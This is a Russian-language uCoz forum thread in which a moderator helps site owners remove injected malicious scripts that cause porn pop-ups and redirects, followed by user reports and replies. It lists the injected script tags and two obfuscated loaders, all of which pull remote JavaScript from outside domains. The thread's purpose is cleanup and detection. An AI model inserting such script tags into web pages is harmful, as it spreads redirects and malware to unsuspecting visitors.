Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
kkait
Сообщений: 4
Репутация: 0

Сообщение # 466 | 18:06:56
webanet, доброе утро! Сейчас проверила.
После очистки, загрузила главную, все норм, но после первого клика мышью опять грузит этот сайт..
Проверила и с модуля доска объявлений - http://dailapy.ru/board/ тоже самое.
я не знаю откуда оно лезет(

всплывающего окна сейчас не видела

Добавлено (04 Июл 2018, 06:37:04)
---------------------------------------------
подгружает при первом переходе на другую страницу, что с этим делать?

Добавлено (04 Июл 2018, 18:06:56)
---------------------------------------------
webanet,
Сегодня опять окно всплыло....(((((((((((((((

Уберите это пожалуйста!!!
Прикрепления: 3583010.png (137.9 Kb)
Сообщение отредактировал kkait - Среда, 04 Июл 2018, 18:09:26
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 467 | 18:39:10
kkait, если вас перекинуло именно с главной страницы http://dailapy.ru/board/ доски. не со страниц материала, а именно с главной, пишите в тех.поддержку. но лучше всего отключить рекламу

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
kkait
Сообщений: 4
Репутация: 0

Сообщение # 468 | 14:53:00
webanet, Спасибо, я вас поняла. Написала в тех.поддержку.
Shel7342
Сообщений: 2
Репутация: 0

Сообщение # 469 | 00:13:32
Здравствуйте! На сайте http://selyaur.ucoz.ru/ при входе в пункты меню сайта и открытии документов антивирус Аваст выдает "Безопасно прервано подключение к сайту cs-vegas.clan.su, так как он заражен HTML:Script-inf." Помогите пожалуйста!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 470 | 00:38:24
Shel7342, проблема была в скрипте
Код
<script src="http://cs-vegas.clan.su/system.js"></script>


разбирайтесь кто это установил в шаблоны

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Shel7342
Сообщений: 2
Репутация: 0

Сообщение # 471 | 08:56:02
Спасибо! Будем разбираться.
niaz
Сообщений: 19
Репутация: 0

Сообщение # 472 | 14:53:57
Добрый день! Скинул друзьям -рыболовам ссылку на свой сайт и форум, сказали, что не могут зайти!
Будьте любезны помогите, разъясните в чем проблема и как ее решить!?

http://rubalka.ucoz.ru/forum/?lehHzs

Пишет такую бяку:
Прикрепления: 7661851.jpg (99.7 Kb)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 473 | 18:28:35
niaz, вы что-то удаляли уже на сайте? вам лучше всего написать в саппорт контакта https://vk.com/support

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
niaz
Сообщений: 19
Репутация: 0

Сообщение # 474 | 20:08:38
Цитата webanet ()
niaz, вы что-то удаляли уже на сайте?
 Удалил ссылки на дружественные рыболовные сайты с форума. Также удалил на главной странице банер клева!

Цитата webanet ()
вам лучше всего написать в саппорт контакта https://vk.com/support
Значит у меня на сайте все в порядке, это у них фильтр не пропускает?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 475 | 20:37:29
niaz, узнайте у них почему именно ваш сайт не пропускает

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
niaz
Сообщений: 19
Репутация: 0

Сообщение # 476 | 15:07:57
По Вашей ссылке прошел и не нашел в каком разделе и к кому в вк можно обратится по моему вопросу! А у нас на укосе есть какой -нибудь антивирус, чтобы проверить свой сайт? Может что и вылезет!? smile
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 477 | 18:50:31
niaz, вот ссылка на ваш вопрос https://vk.com/faq8408 далее смотрите на картинку внимательно. надо нажать это не решает мою проблему вот так

далее жмете на у меня остались вопросы вот так.

далее вы увидите окошко, где вам сообщат, что ответ ждать 37 часа. в этом окошке надо нажать на задать вопрос вот так

далее в заголовке

укажите адрес своего форума и напишите блокируется как фишинг. в нижнем поле для ввода вопроса потребуйте основания блокировки, образцы кода на основании которых идет блокировка и подробное пояснение почему блокируется именно как фишинг. надеюсь по моей инструкции вы справитесь
Прикрепления: 5024765.jpg (67.0 Kb) · 5406746.jpg (51.5 Kb) · 8495359.jpg (37.4 Kb) · 8906285.jpg (28.5 Kb)

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
niaz
Сообщений: 19
Репутация: 0

Сообщение # 478 | 17:33:15
webanet, Огромное человеческое спасибо за исчерпывающий ответ и алгоритм действий! hands Попробую разобраться с вк!
valushasha
Сообщений: 3
Репутация: 0

Сообщение # 479 | 23:30:51
Добрый вечер, подскажите, что можно сделать с такой проблемой: моим пользователям приходит с моего сайта реклама порнографического характера.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 480 | 23:41:07
valushasha, они подписались на пуш уведомления? адрес сайта укажите

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: